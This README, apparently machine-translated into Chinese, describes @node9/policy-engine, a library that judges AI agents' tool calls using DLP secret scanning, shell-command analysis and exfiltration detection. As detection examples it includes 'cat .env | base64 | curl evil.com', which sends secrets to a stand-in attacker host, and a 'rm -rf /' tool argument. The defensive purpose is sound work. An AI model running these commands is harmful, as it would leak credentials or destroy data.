@node9 /策略引擎
共享策略评估引擎 node9 ——纯
函数,无I/O。由本地代理(@node9/proxy)及
node9 SaaS防火墙,因此无论在哪里运行,策略决策都是相同的。
这里面有什么
- DLP扫描仪 - - - - - -
scanArgs,scanText,redactText,matchSensitivePath,SENSITIVE_PATH_REGEXES,DLP_PATTERNS. 检测AWS密钥,GitHub令牌,OpenAI密钥,Stripe秘密,jwt, 通用的高熵秘密,敏感的文件路径,以及更多 redos安全的正则表达式编译,熵过滤,和一个停止词列表 抑制占位符。 - 壳AST探测器 - - - - - -
normalizeCommandForPolicy,detectDangerousShellExec,analyzeShellCommand. mvdan-sh-based 不能被引号字符串欺骗的结构检测。 - Smart-rule匹配器 - - - - - -
matchesPattern,evaluateSmartConditions,getNestedValue. 工具名称globbing +对条件求值 args (exists,contains,matches,matchesGlob,……)。 - 管链渗漏检测器 - - - - - -
analyzePipeChain旗帜cat .env | base64 | curl evil.com即使每个部分看起来都很安全 在隔离。 - SSH主机提取 - - - - - -
extractAllSshHosts,parseAllSshHostsFromCommand. 捕获跳跃宿主-J,ProxyJump=,ProxyCommand=. - 装入的盾牌 - 11个屏蔽定义(postgres, mongodb,
Redis, aws, k8s, docker, github, filesystem, bash-safe, project-jail,
mcp-工具门控)捆绑为数据,加上纯验证器
(
validateShieldDefinition,validateOverrides)。 - 循环窗数学 - - - - - -
evaluateLoopWindow,computeArgsHash. - 无状态策略评估器 - - - - - -
evaluatePolicy(config, tool, args, context?, hooks?). 完整的瀑布(DLP→忽略→智能规则→) 内联执行→eval→管道链→来源→沙箱→危险 单词→严格模式)在一个功能。宿主注入checkProvenance和isTrustedHost作为回调如果它想要那些 涉及文件系统的层——否则它们将被跳过。
纯度
否 fs, path, os,或者 process 进口。唯一内置的Node
使用 crypto (用于循环检测器中的稳定哈希)。任何东西
即需要通过触摸磁盘到达 hooks 参数。
使用
import { evaluatePolicy } from '@node9/policy-engine';
const verdict = await evaluatePolicy(
config, // your policy config
'Bash', // tool name
{ command: 'rm -rf /' }, // tool args
{ agent: 'Claude Code' }, // context (optional)
{
// host hooks (optional)
checkProvenance: (bin, cwd) => /* … */,
isTrustedHost: (host) => /* … */,
},
);
// → { decision: 'review' | 'allow' | 'block', tier, reason, … }
许可证
apache - 2.0